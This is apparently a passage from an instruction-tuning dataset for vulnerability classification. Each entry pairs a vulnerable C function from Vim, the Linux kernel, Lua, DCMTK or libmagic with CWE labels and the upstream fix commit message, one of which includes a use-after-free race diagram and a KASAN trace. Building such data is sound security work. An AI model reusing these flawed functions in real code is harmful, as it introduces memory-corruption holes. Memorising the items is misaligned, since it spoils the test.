+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: check_termcode(\n    int\t\tmax_offset,\n    char_u\t*buf,\n    int\t\tbufsize,\n    int\t\t*buflen)\n{\n    char_u\t*tp;\n    char_u\t*p;\n    int\t\tslen = 0;\t// init for GCC\n    int\t\tmodslen;\n    int\t\tlen;\n    int\t\tretval = 0;\n    int\t\toffset;\n    char_u\tkey_name[2];\n    int\t\tmodifiers;\n    char_u\t*modifiers_start = NULL;\n    int\t\tkey;\n    int\t\tnew_slen;   // Length of what will replace the termcode\n    char_u\tstring[MAX_KEY_CODE_LEN + 1];\n    int\t\ti, j;\n    int\t\tidx = 0;\n    int\t\tcpo_koffset;\n\n    cpo_koffset = (vim_strchr(p_cpo, CPO_KOFFSET) != NULL);\n\n    /*\n     * Speed up the checks for terminal codes by gathering all first bytes\n     * used in termleader[].  Often this is just a single .\n     */\n    if (need_gather)\n\tgather_termleader();\n\n    /*\n     * Check at several positions in typebuf.tb_buf[], to catch something like\n     * \"x\" that can be mapped. Stop at max_offset, because characters\n     * after that cannot be used for mapping, and with @r commands\n     * typebuf.tb_buf[] can become very long.\n     * This is used often, KEEP IT FAST!\n     */\n    for (offset = 0; offset < max_offset; ++offset)\n    {\n\tif (buf == NULL)\n\t{\n\t    if (offset >= typebuf.tb_len)\n\t\tbreak;\n\t    tp = typebuf.tb_buf + typebuf.tb_off + offset;\n\t    len = typebuf.tb_len - offset;\t// length of the input\n\t}\n\telse\n\t{\n\t    if (offset >= *buflen)\n\t\tbreak;\n\t    tp = buf + offset;\n\t    len = *buflen - offset;\n\t}\n\n\t/*\n\t * Don't check characters after K_SPECIAL, those are already\n\t * translated terminal chars (avoid translating ~@^Hx).\n\t */\n\tif (*tp == K_SPECIAL)\n\t{\n\t    offset += 2;\t// there are always 2 extra characters\n\t    continue;\n\t}\n\n\t/*\n\t * Skip this position if the character does not appear as the first\n\t * character in term_strings. This speeds up a lot, since most\n\t * termcodes start with the same character (ESC or CSI).\n\t */\n\ti = *tp;\n\tfor (p = termleader; *p && *p != i; ++p)\n\t    ;\n\tif (*p == NUL)\n\t    continue;\n\n\t/*\n\t * Skip this position if p_ek is not set and tp[0] is an ESC and we\n\t * are in Insert mode.\n\t */\n\tif (*tp == ESC && !p_ek && (State & MODE_INSERT))\n\t    continue;\n\n\tkey_name[0] = NUL;\t// no key name found yet\n\tkey_name[1] = NUL;\t// no key name found yet\n\tmodifiers = 0;\t\t// no modifiers yet\n\n#ifdef FEAT_GUI\n\tif (gui.in_use)\n\t{\n\t    /*\n\t     * GUI special key codes are all of the form [CSI xx].\n\t     */\n\t    if (*tp == CSI)\t    // Special key from GUI\n\t    {\n\t\tif (len < 3)\n\t\t    return -1;\t    // Shouldn't happen\n\t\tslen = 3;\n\t\tkey_name[0] = tp[1];\n\t\tkey_name[1] = tp[2];\n\t    }\n\t}\n\telse\n#endif // FEAT_GUI\n\t{\n\t    int  mouse_index_found = -1;\n\n\t    for (idx = 0; idx < tc_len; ++idx)\n\t    {\n\t\t/*\n\t\t * Ignore the entry if we are not at the start of\n\t\t * typebuf.tb_buf[]\n\t\t * and there are not enough characters to make a match.\n\t\t * But only when the 'K' flag is in 'cpoptions'.\n\t\t */\n\t\tslen = termcodes[idx].len;\n\t\tmodifiers_start = NULL;\n\t\tif (cpo_koffset && offset && len < slen)\n\t\t    continue;\n\t\tif (STRNCMP(termcodes[idx].code, tp,\n\t\t\t\t     (size_t)(slen > len ? len : slen)) == 0)\n\t\t{\n\t\t    int\t    looks_like_mouse_start = FALSE;\n\n\t\t    if (len < slen)\t\t// got a partial sequence\n\t\t\treturn -1;\t\t// need to get more chars\n\n\t\t    /*\n\t\t     * When found a keypad key, check if there is another key\n\t\t     * that matches and use that one.  This makes  to be\n\t\t     * found instead of  when they produce the same\n\t\t     * key code.\n\t\t     */\n\t\t    if (termcodes[idx].name[0] == 'K'\n\t\t\t\t       && VIM_ISDIGIT(termcodes[idx].name[1]))\n\t\t    {\n\t\t\tfor (j = idx + 1; j < tc_len; ++j)\n\t\t\t    if (termcodes[j].len == slen &&\n\t\t\t\t    STRNCMP(termcodes[idx].code,\n\t\t\t\t\t    termcodes[j].code, slen) == 0)\n\t\t\t    {\n\t\t\t\tidx = j;\n\t\t\t\tbreak;\n\t\t\t    }\n\t\t    }\n\n\t\t    if (slen == 2 && len > 2\n\t\t\t    && termcodes[idx].code[0] == ESC\n\t\t\t    && termcodes[idx].code[1] == '[')\n\t\t    {\n\t\t\t// The mouse termcode \"ESC [\" is also the prefix of\n\t\t\t// \"ESC [ I\" (focus gained) and other keys.  Check some\n\t\t\t// more bytes to find out.\n\t\t\tif (!isdigit(tp[2]))\n\t\t\t{\n\t\t\t    // ESC [ without number following: Only use it when\n\t\t\t    // there is no other match.\n\t\t\t    looks_like_mouse_start = TRUE;\n\t\t\t}\n\t\t\telse if (termcodes[idx].name[0] == KS_DEC_MOUSE)\n\t\t\t{\n\t\t\t    char_u  *nr = tp + 2;\n\t\t\t    int\t    count = 0;\n\n\t\t\t    // If a digit is following it could be a key with\n\t\t\t    // modifier, e.g., ESC [ 1;2P.  Can be confused\n\t\t\t    // with DEC_MOUSE, which requires four numbers\n\t\t\t    // following.  If not then it can't be a DEC_MOUSE\n\t\t\t    // code.\n\t\t\t    for (;;)\n\t\t\t    {\n\t\t\t\t++count;\n\t\t\t\t(void)getdigits(&nr);\n\t\t\t\tif (nr >= tp + len)\n\t\t\t\t    return -1;\t// partial sequence\n\t\t\t\tif (*nr != ';')\n\t\t\t\t    break;\n\t\t\t\t++nr;\n\t\t\t\tif (nr >= tp + len)\n\t\t\t\t    return -1;\t// partial sequence\n\t\t\t    }\n\t\t\t    if (count < 4)\n\t\t\t\tcontinue;\t// no match\n\t\t\t}\n\t\t    }\n\t\t    if (looks_like_mouse_start)\n\t\t    {\n\t\t\t// Only use it when there is no other match.\n\t\t\tif (mouse_index_found < 0)\n\t\t\t    mouse_index_found = idx;\n\t\t    }\n\t\t    else\n\t\t    {\n\t\t\tkey_name[0] = termcodes[idx].name[0];\n\t\t\tkey_name[1] = termcodes[idx].name[1];\n\t\t\tbreak;\n\t\t    }\n\t\t}\n\n\t\t/*\n\t\t * Check for code with modifier, like xterm uses:\n\t\t * [123;*X  (modslen == slen - 3)\n\t\t * [@;*X    (matches [X and [1;9X )\n\t\t * Also O*X and *X (modslen == slen - 2).\n\t\t * When there is a modifier the * matches a number.\n\t\t * When there is no modifier the ;* or * is omitted.\n\t\t */\n\t\tif (termcodes[idx].modlen > 0 && mouse_index_found < 0)\n\t\t{\n\t\t    int at_code;\n\n\t\t    modslen = termcodes[idx].modlen;\n\t\t    if (cpo_koffset && offset && len < modslen)\n\t\t\tcontinue;\n\t\t    at_code = termcodes[idx].code[modslen] == '@';\n\t\t    if (STRNCMP(termcodes[idx].code, tp,\n\t\t\t\t(size_t)(modslen > len ? len : modslen)) == 0)\n\t\t    {\n\t\t\tint\t    n;\n\n\t\t\tif (len <= modslen)\t// got a partial sequence\n\t\t\t    return -1;\t\t// need to get more chars\n\n\t\t\tif (tp[modslen] == termcodes[idx].code[slen - 1])\n\t\t\t    // no modifiers\n\t\t\t    slen = modslen + 1;\n\t\t\telse if (tp[modslen] != ';' && modslen == slen - 3)\n\t\t\t    // no match for \"code;*X\" with \"code;\"\n\t\t\t    continue;\n\t\t\telse if (at_code && tp[modslen] != '1')\n\t\t\t    // no match for \"[@\" with \"[1\"\n\t\t\t    continue;\n\t\t\telse\n\t\t\t{\n\t\t\t    // Skip over the digits, the final char must\n\t\t\t    // follow. URXVT can use a negative value, thus\n\t\t\t    // also accept '-'.\n\t\t\t    for (j = slen - 2; j < len && (isdigit(tp[j])\n\t\t\t\t       || tp[j] == '-' || tp[j] == ';'); ++j)\n\t\t\t\t;\n\t\t\t    ++j;\n\t\t\t    if (len < j)\t// got a partial sequence\n\t\t\t\treturn -1;\t// need to get more chars\n\t\t\t    if (tp[j - 1] != termcodes[idx].code[slen - 1])\n\t\t\t\tcontinue;\t// no match\n\n\t\t\t    modifiers_start = tp + slen - 2;\n\n\t\t\t    // Match!  Convert modifier bits.\n\t\t\t    n = atoi((char *)modifiers_start);\n\t\t\t    modifiers |= decode_modifiers(n);\n\n\t\t\t    slen = j;\n\t\t\t}\n\t\t\tkey_name[0] = termcodes[idx].name[0];\n\t\t\tkey_name[1] = termcodes[idx].name[1];\n\t\t\tbreak;\n\t\t    }\n\t\t}\n\t    }\n\t    if (idx == tc_len && mouse_index_found >= 0)\n\t    {\n\t\tkey_name[0] = termcodes[mouse_index_found].name[0];\n\t\tkey_name[1] = termcodes[mouse_index_found].name[1];\n\t    }\n\t}\n\n#ifdef FEAT_TERMRESPONSE\n\tif (key_name[0] == NUL\n\t    // Mouse codes of DEC and pterm start with [.  When\n\t    // detecting the start of these mouse codes they might as well be\n\t    // another key code or terminal response.\n# ifdef FEAT_MOUSE_DEC\n\t    || key_name[0] == KS_DEC_MOUSE\n# endif\n# ifdef FEAT_MOUSE_PTERM\n\t    || key_name[0] == KS_PTERM_MOUSE\n# endif\n\t   )\n\t{\n\t    char_u *argp = tp[0] == ESC ? tp + 2 : tp + 1;\n\n\t    /*\n\t     * Check for responses from the terminal starting with {lead}:\n\t     * \"[\" or CSI followed by [0-9>?]\n\t     *\n\t     * - Xterm version string: {lead}>{x};{vers};{y}c\n\t     *   Also eat other possible responses to t_RV, rxvt returns\n\t     *   \"{lead}?1;2c\".\n\t     *\n\t     * - Cursor position report: {lead}{row};{col}R\n\t     *   The final byte must be 'R'. It is used for checking the\n\t     *   ambiguous-width character state.\n\t     *\n\t     * - window position reply: {lead}3;{x};{y}t\n\t     *\n\t     * - key with modifiers when modifyOtherKeys is enabled:\n\t     *\t    {lead}27;{modifier};{key}~\n\t     *\t    {lead}{key};{modifier}u\n\t     */\n\t    if (((tp[0] == ESC && len >= 3 && tp[1] == '[')\n\t\t\t    || (tp[0] == CSI && len >= 2))\n\t\t    && (VIM_ISDIGIT(*argp) || *argp == '>' || *argp == '?'))\n\t    {\n\t\tint resp = handle_csi(tp, len, argp, offset, buf,\n\t\t\t\t\t     bufsize, buflen, key_name, &slen);\n\t\tif (resp != 0)\n\t\t{\n# ifdef DEBUG_TERMRESPONSE\n\t\t    if (resp == -1)\n\t\t\tLOG_TR((\"Not enough characters for CSI sequence\"));\n# endif\n\t\t    return resp;\n\t\t}\n\t    }\n\n\t    // Check for fore/background color response from the terminal,\n\t    // starting} with ] or OSC\n\t    else if ((*T_RBG != NUL || *T_RFG != NUL)\n\t\t\t&& ((tp[0] == ESC && len >= 2 && tp[1] == ']')\n\t\t\t    || tp[0] == OSC))\n\t    {\n\t\tif (handle_osc(tp, argp, len, key_name, &slen) == FAIL)\n\t\t    return -1;\n\t    }\n\n\t    // Check for key code response from xterm,\n\t    // starting with P or DCS\n\t    else if ((check_for_codes || rcs_status.tr_progress == STATUS_SENT)\n\t\t    && ((tp[0] == ESC && len >= 2 && tp[1] == 'P')\n\t\t\t|| tp[0] == DCS))\n\t    {\n\t\tif (handle_dcs(tp, argp, len, key_name, &slen) == FAIL)\n\t\t    return -1;\n\t    }\n\t}\n#endif\n\n\tif (key_name[0] == NUL)\n\t    continue;\t    // No match at this position, try next one\n\n\t// We only get here when we have a complete termcode match\n\n#ifdef FEAT_GUI\n\t/*\n\t * Only in the GUI: Fetch the pointer coordinates of the scroll event\n\t * so that we know which window to scroll later.\n\t */\n\tif (gui.in_use\n\t\t&& key_name[0] == (int)KS_EXTRA\n\t\t&& (key_name[1] == (int)KE_X1MOUSE\n\t\t    || key_name[1] == (int)KE_X2MOUSE\n\t\t    || key_name[1] == (int)KE_MOUSEMOVE_XY\n\t\t    || key_name[1] == (int)KE_MOUSELEFT\n\t\t    || key_name[1] == (int)KE_MOUSERIGHT\n\t\t    || key_name[1] == (int)KE_MOUSEDOWN\n\t\t    || key_name[1] == (int)KE_MOUSEUP))\n\t{\n\t    char_u\tbytes[6];\n\t    int\t\tnum_bytes = get_bytes_from_buf(tp + slen, bytes, 4);\n\n\t    if (num_bytes == -1)\t// not enough coordinates\n\t\treturn -1;\n\t    mouse_col = 128 * (bytes[0] - ' ' - 1) + bytes[1] - ' ' - 1;\n\t    mouse_row = 128 * (bytes[2] - ' ' - 1) + bytes[3] - ' ' - 1;\n\t    slen += num_bytes;\n\t    // equal to K_MOUSEMOVE\n\t    if (key_name[1] == (int)KE_MOUSEMOVE_XY)\n\t\tkey_name[1] = (int)KE_MOUSEMOVE;\n\t}\n\telse\n#endif\n\t/*\n\t * If it is a mouse click, get the coordinates.\n\t */\n\tif (key_name[0] == KS_MOUSE\n#ifdef FEAT_MOUSE_GPM\n\t\t|| key_name[0] == KS_GPM_MOUSE\n#endif\n#ifdef FEAT_MOUSE_JSB\n\t\t|| key_name[0] == KS_JSBTERM_MOUSE\n#endif\n#ifdef FEAT_MOUSE_NET\n\t\t|| key_name[0] == KS_NETTERM_MOUSE\n#endif\n#ifdef FEAT_MOUSE_DEC\n\t\t|| key_name[0] == KS_DEC_MOUSE\n#endif\n#ifdef FEAT_MOUSE_PTERM\n\t\t|| key_name[0] == KS_PTERM_MOUSE\n#endif\n#ifdef FEAT_MOUSE_URXVT\n\t\t|| key_name[0] == KS_URXVT_MOUSE\n#endif\n\t\t|| key_name[0] == KS_SGR_MOUSE\n\t\t|| key_name[0] == KS_SGR_MOUSE_RELEASE)\n\t{\n\t    if (check_termcode_mouse(tp, &slen, key_name, modifiers_start, idx,\n\t\t\t\t\t\t\t     &modifiers) == -1)\n\t\treturn -1;\n\t}\n\n#ifdef FEAT_GUI\n\t/*\n\t * If using the GUI, then we get menu and scrollbar events.\n\t *\n\t * A menu event is encoded as K_SPECIAL, KS_MENU, KE_FILLER followed by\n\t * four bytes which are to be taken as a pointer to the vimmenu_T\n\t * structure.\n\t *\n\t * A tab line event is encoded as K_SPECIAL KS_TABLINE nr, where \"nr\"\n\t * is one byte with the tab index.\n\t *\n\t * A scrollbar event is K_SPECIAL, KS_VER_SCROLLBAR, KE_FILLER followed\n\t * by one byte representing the scrollbar number, and then four bytes\n\t * representing a long_u which is the new value of the scrollbar.\n\t *\n\t * A horizontal scrollbar event is K_SPECIAL, KS_HOR_SCROLLBAR,\n\t * KE_FILLER followed by four bytes representing a long_u which is the\n\t * new value of the scrollbar.\n\t */\n# ifdef FEAT_MENU\n\telse if (key_name[0] == (int)KS_MENU)\n\t{\n\t    long_u\tval;\n\t    int\t\tnum_bytes = get_long_from_buf(tp + slen, &val);\n\n\t    if (num_bytes == -1)\n\t\treturn -1;\n\t    current_menu = (vimmenu_T *)val;\n\t    slen += num_bytes;\n\n\t    // The menu may have been deleted right after it was used, check\n\t    // for that.\n\t    if (check_menu_pointer(root_menu, current_menu) == FAIL)\n\t    {\n\t\tkey_name[0] = KS_EXTRA;\n\t\tkey_name[1] = (int)KE_IGNORE;\n\t    }\n\t}\n# endif\n# ifdef FEAT_GUI_TABLINE\n\telse if (key_name[0] == (int)KS_TABLINE)\n\t{\n\t    // Selecting tabline tab or using its menu.\n\t    char_u\tbytes[6];\n\t    int\t\tnum_bytes = get_bytes_from_buf(tp + slen, bytes, 1);\n\n\t    if (num_bytes == -1)\n\t\treturn -1;\n\t    current_tab = (int)bytes[0];\n\t    if (current_tab == 255)\t// -1 in a byte gives 255\n\t\tcurrent_tab = -1;\n\t    slen += num_bytes;\n\t}\n\telse if (key_name[0] == (int)KS_TABMENU)\n\t{\n\t    // Selecting tabline tab or using its menu.\n\t    char_u\tbytes[6];\n\t    int\t\tnum_bytes = get_bytes_from_buf(tp + slen, bytes, 2);\n\n\t    if (num_bytes == -1)\n\t\treturn -1;\n\t    current_tab = (int)bytes[0];\n\t    current_tabmenu = (int)bytes[1];\n\t    slen += num_bytes;\n\t}\n# endif\n# ifndef USE_ON_FLY_SCROLL\n\telse if (key_name[0] == (int)KS_VER_SCROLLBAR)\n\t{\n\t    long_u\tval;\n\t    char_u\tbytes[6];\n\t    int\t\tnum_bytes;\n\n\t    // Get the last scrollbar event in the queue of the same type\n\t    j = 0;\n\t    for (i = 0; tp[j] == CSI && tp[j + 1] == KS_VER_SCROLLBAR\n\t\t\t\t\t\t     && tp[j + 2] != NUL; ++i)\n\t    {\n\t\tj += 3;\n\t\tnum_bytes = get_bytes_from_buf(tp + j, bytes, 1);\n\t\tif (num_bytes == -1)\n\t\t    break;\n\t\tif (i == 0)\n\t\t    current_scrollbar = (int)bytes[0];\n\t\telse if (current_scrollbar != (int)bytes[0])\n\t\t    break;\n\t\tj += num_bytes;\n\t\tnum_bytes = get_long_from_buf(tp + j, &val);\n\t\tif (num_bytes == -1)\n\t\t    break;\n\t\tscrollbar_value = val;\n\t\tj += num_bytes;\n\t\tslen = j;\n\t    }\n\t    if (i == 0)\t\t// not enough characters to make one\n\t\treturn -1;\n\t}\n\telse if (key_name[0] == (int)KS_HOR_SCROLLBAR)\n\t{\n\t    long_u\tval;\n\t    int\t\tnum_bytes;\n\n\t    // Get the last horiz. scrollbar event in the queue\n\t    j = 0;\n\t    for (i = 0; tp[j] == CSI && tp[j + 1] == KS_HOR_SCROLLBAR\n\t\t\t\t\t\t     && tp[j + 2] != NUL; ++i)\n\t    {\n\t\tj += 3;\n\t\tnum_bytes = get_long_from_buf(tp + j, &val);\n\t\tif (num_bytes == -1)\n\t\t    break;\n\t\tscrollbar_value = val;\n\t\tj += num_bytes;\n\t\tslen = j;\n\t    }\n\t    if (i == 0)\t\t// not enough characters to make one\n\t\treturn -1;\n\t}\n# endif // !USE_ON_FLY_SCROLL\n#endif // FEAT_GUI\n\n#if (defined(UNIX) || defined(VMS))\n\t/*\n\t * Handle FocusIn/FocusOut event sequences reported by XTerm.\n\t * (CSI I/CSI O)\n\t */\n\tif (key_name[0] == KS_EXTRA\n# ifdef FEAT_GUI\n\t\t&& !gui.in_use\n# endif\n\t    )\n\t{\n\t    if (key_name[1] == KE_FOCUSGAINED)\n\t    {\n\t\tif (!focus_state)\n\t\t{\n\t\t    ui_focus_change(TRUE);\n\t\t    did_cursorhold = TRUE;\n\t\t    focus_state = TRUE;\n\t\t}\n\t\tkey_name[1] = (int)KE_IGNORE;\n\t    }\n\t    else if (key_name[1] == KE_FOCUSLOST)\n\t    {\n\t\tif (focus_state)\n\t\t{\n\t\t    ui_focus_change(FALSE);\n\t\t    did_cursorhold = TRUE;\n\t\t    focus_state = FALSE;\n\t\t}\n\t\tkey_name[1] = (int)KE_IGNORE;\n\t    }\n\t}\n#endif\n\n\t/*\n\t * Change  to ,  to , etc.\n\t */\n\tkey = handle_x_keys(TERMCAP2KEY(key_name[0], key_name[1]));\n\n\t/*\n\t * Add any modifier codes to our string.\n\t */\n\tnew_slen = modifiers2keycode(modifiers, &key, string);\n\n\t// Finally, add the special key code to our string\n\tkey_name[0] = KEY2TERMCAP0(key);\n\tkey_name[1] = KEY2TERMCAP1(key);\n\tif (key_name[0] == KS_KEY)\n\t{\n\t    // from \":set =xx\"\n\t    if (has_mbyte)\n\t\tnew_slen += (*mb_char2bytes)(key_name[1], string + new_slen);\n\t    else\n\t\tstring[new_slen++] = key_name[1];\n\t}\n\telse if (new_slen == 0 && key_name[0] == KS_EXTRA\n\t\t\t\t\t\t  && key_name[1] == KE_IGNORE)\n\t{\n\t    // Do not put K_IGNORE into the buffer, do return KEYLEN_REMOVED\n\t    // to indicate what happened.\n\t    retval = KEYLEN_REMOVED;\n\t}\n\telse\n\t{\n\t    string[new_slen++] = K_SPECIAL;\n\t    string[new_slen++] = key_name[0];\n\t    string[new_slen++] = key_name[1];\n\t}\n\tif (put_string_in_typebuf(offset, slen, string, new_slen,\n\t\t\t\t\t\t buf, bufsize, buflen) == FAIL)\n\t    return -1;\n\treturn retval == 0 ? (len + new_slen - slen + offset) : retval;\n    }\n\n#ifdef FEAT_TERMRESPONSE\n    LOG_TR((\"normal character\"));\n#endif\n\n    return 0;\t\t\t    // no match found\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-190', 'CWE-787'], 'message': 'patch 9.0.0018: going over the end of the typahead\n\nProblem:    Going over the end of the typahead.\nSolution:   Put a NUL after the typeahead.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void rose_start_hbtimer(struct sock *sk)\n{\n\tstruct rose_sock *rose = rose_sk(sk);\n\n\tdel_timer(&rose->timer);\n\n\trose->timer.function = rose_timer_expiry;\n\trose->timer.expires  = jiffies + rose->hb;\n\n\tadd_timer(&rose->timer);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-416'], 'message': 'net: rose: fix UAF bugs caused by timer handler\n\nThere are UAF bugs in rose_heartbeat_expiry(), rose_timer_expiry()\nand rose_idletimer_expiry(). The root cause is that del_timer()\ncould not stop the timer handler that is running and the refcount\nof sock is not managed properly.\n\nOne of the UAF bugs is shown below:\n\n    (thread 1)          |        (thread 2)\n                        |  rose_bind\n                        |  rose_connect\n                        |    rose_start_heartbeat\nrose_release            |    (wait a time)\n  case ROSE_STATE_0     |\n  rose_destroy_socket   |  rose_heartbeat_expiry\n    rose_stop_heartbeat |\n    sock_put(sk)        |    ...\n  sock_put(sk) // FREE  |\n                        |    bh_lock_sock(sk) // USE\n\nThe sock is deallocated by sock_put() in rose_release() and\nthen used by bh_lock_sock() in rose_heartbeat_expiry().\n\nAlthough rose_destroy_socket() calls rose_stop_heartbeat(),\nit could not stop the timer that is running.\n\nThe KASAN report triggered by POC is shown below:\n\nBUG: KASAN: use-after-free in _raw_spin_lock+0x5a/0x110\nWrite of size 4 at addr ffff88800ae59098 by task swapper/3/0\n...\nCall Trace:\n \n dump_stack_lvl+0xbf/0xee\n print_address_description+0x7b/0x440\n print_report+0x101/0x230\n ? irq_work_single+0xbb/0x140\n ? _raw_spin_lock+0x5a/0x110\n kasan_report+0xed/0x120\n ? _raw_spin_lock+0x5a/0x110\n kasan_check_range+0x2bd/0x2e0\n _raw_spin_lock+0x5a/0x110\n rose_heartbeat_expiry+0x39/0x370\n ? rose_start_heartbeat+0xb0/0xb0\n call_timer_fn+0x2d/0x1c0\n ? rose_start_heartbeat+0xb0/0xb0\n expire_timers+0x1f3/0x320\n __run_timers+0x3ff/0x4d0\n run_timer_softirq+0x41/0x80\n __do_softirq+0x233/0x544\n irq_exit_rcu+0x41/0xa0\n sysvec_apic_timer_interrupt+0x8c/0xb0\n \n \n asm_sysvec_apic_timer_interrupt+0x1b/0x20\nRIP: 0010:default_idle+0xb/0x10\nRSP: 0018:ffffc9000012fea0 EFLAGS: 00000202\nRAX: 000000000000bcae RBX: ffff888006660f00 RCX: 000000000000bcae\nRDX: 0000000000000001 RSI: ffffffff843a11c0 RDI: ffffffff843a1180\nRBP: dffffc0000000000 R08: dffffc0000000000 R09: ffffed100da36d46\nR10: dfffe9100da36d47 R11: ffffffff83cf0950 R12: 0000000000000000\nR13: 1ffff11000ccc1e0 R14: ffffffff8542af28 R15: dffffc0000000000\n...\nAllocated by task 146:\n __kasan_kmalloc+0xc4/0xf0\n sk_prot_alloc+0xdd/0x1a0\n sk_alloc+0x2d/0x4e0\n rose_create+0x7b/0x330\n __sock_create+0x2dd/0x640\n __sys_socket+0xc7/0x270\n __x64_sys_socket+0x71/0x80\n do_syscall_64+0x43/0x90\n entry_SYSCALL_64_after_hwframe+0x46/0xb0\n\nFreed by task 152:\n kasan_set_track+0x4c/0x70\n kasan_set_free_info+0x1f/0x40\n ____kasan_slab_free+0x124/0x190\n kfree+0xd3/0x270\n __sk_destruct+0x314/0x460\n rose_release+0x2fa/0x3b0\n sock_close+0xcb/0x230\n __fput+0x2d9/0x650\n task_work_run+0xd6/0x160\n exit_to_user_mode_loop+0xc7/0xd0\n exit_to_user_mode_prepare+0x4e/0x80\n syscall_exit_to_user_mode+0x20/0x40\n do_syscall_64+0x4f/0x90\n entry_SYSCALL_64_after_hwframe+0x46/0xb0\n\nThis patch adds refcount of sock when we use functions\nsuch as rose_start_heartbeat() and so on to start timer,\nand decreases the refcount of sock when timer is finished\nor deleted by functions such as rose_stop_heartbeat()\nand so on. As a result, the UAF bugs could be mitigated.\n\nFixes: 1da177e4c3f4 (\"Linux-2.6.12-rc2\")\nSigned-off-by: Duoming Zhou \nTested-by: Duoming Zhou \nLink: https://lore.kernel.org/r/20220629002640.5693-1-duoming@zju.edu.cn\nSigned-off-by: Paolo Abeni '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void luaV_concat (lua_State *L, int total) {\n  if (total == 1)\n    return;  /* \"all\" values already concatenated */\n  do {\n    StkId top = L->top;\n    int n = 2;  /* number of elements handled in this pass (at least 2) */\n    if (!(ttisstring(s2v(top - 2)) || cvt2str(s2v(top - 2))) ||\n        !tostring(L, s2v(top - 1)))\n      luaT_tryconcatTM(L);\n    else if (isemptystr(s2v(top - 1)))  /* second operand is empty? */\n      cast_void(tostring(L, s2v(top - 2)));  /* result is first operand */\n    else if (isemptystr(s2v(top - 2))) {  /* first operand is empty string? */\n      setobjs2s(L, top - 2, top - 1);  /* result is second op. */\n    }\n    else {\n      /* at least two non-empty string values; get as many as possible */\n      size_t tl = vslen(s2v(top - 1));\n      TString *ts;\n      /* collect total length and number of strings */\n      for (n = 1; n < total && tostring(L, s2v(top - n - 1)); n++) {\n        size_t l = vslen(s2v(top - n - 1));\n        if (l_unlikely(l >= (MAX_SIZE/sizeof(char)) - tl))\n          luaG_runerror(L, \"string length overflow\");\n        tl += l;\n      }\n      if (tl <= LUAI_MAXSHORTLEN) {  /* is result a short string? */\n        char buff[LUAI_MAXSHORTLEN];\n        copy2buff(top, n, buff);  /* copy strings to buffer */\n        ts = luaS_newlstr(L, buff, tl);\n      }\n      else {  /* long string; copy strings directly to final result */\n        ts = luaS_createlngstrobj(L, tl);\n        copy2buff(top, n, getstr(ts));\n      }\n      setsvalue2s(L, top - n, ts);  /* create result */\n    }\n    total -= n-1;  /* got 'n' strings to create 1 new */\n    L->top -= n-1;  /* popped 'n' strings and pushed one */\n  } while (total > 1);  /* repeat until only 1 result left */\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Save stack space while handling errors\n\nBecause error handling (luaG_errormsg) uses slots from EXTRA_STACK,\nand some errors can recur (e.g., string overflow while creating an\nerror message in 'luaG_runerror', or a C-stack overflow before calling\nthe message handler), the code should use stack slots with parsimony.\n\nThis commit fixes the bug \"Lua-stack overflow when C stack overflows\nwhile handling an error\".'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: DU_getStringDOElement(DcmItem *obj, DcmTagKey t, char *s, size_t bufsize)\n{\n    DcmByteString *elem;\n    DcmStack stack;\n    OFCondition ec = EC_Normal;\n    char* aString;\n\n    ec = obj->search(t, stack);\n    elem = (DcmByteString*) stack.top();\n    if (ec == EC_Normal && elem != NULL) {\n        if (elem->getLength() == 0) {\n            s[0] = '\\0';\n        } else {\n            ec =  elem->getString(aString);\n            OFStandard::strlcpy(s, aString, bufsize);\n        }\n    }\n    return (ec == EC_Normal);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-476', 'CWE-787'], 'message': 'Fixed possible NULL pointer dereference.\n\nThanks to Jinsheng Ba  for the report and patch.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: \nprivate int\nsave_cont(struct magic_set *ms, struct cont *c)\n{\n\tsize_t len;\n\t*c = ms->c;\n\tlen = c->len * sizeof(*c->li);\n\tms->c.li = CAST(struct level_info *, malloc(len));\n\tif (ms->c.li == NULL) {\n\t\tms->c = *c;\n\t\treturn -1;\n\t}\n\tmemcpy(ms->c.li, c->li, len); ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Fix #81723: Memory corruption in finfo_buffer()\n\nWe need to use the same memory allocator throughout.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int con_install(struct tty_driver *driver, struct tty_struct *tty)\n{\n\tunsigned int currcons = tty->index;\n\tstruct vc_data *vc;\n\tint ret;\n\n\tconsole_lock();\n\tret = vc_allocate(currcons);\n\tif (ret)\n\t\tgoto unlock;\n\n\tvc = vc_cons[currcons].d;\n\n\t/* Still being freed */\n\tif (vc->port.tty) {\n\t\tret = -ERESTARTSYS;\n\t\tgoto unlock;\n\t}\n\n\tret = tty_port_install(&vc->port, driver, tty);\n\tif (ret)\n\t\tgoto unlock;\n\n\ttty->driver_data = vc;\n\tvc->port.tty = tty;\n\n\tif (!tty->winsize.ws_row && !tty->winsize.ws_col) {\n\t\ttty->winsize.ws_row = vc_cons[currcons].d->vc_rows;\n\t\ttty->winsize.ws_col = vc_cons[currcons].d->vc_cols;\n\t}\n\tif 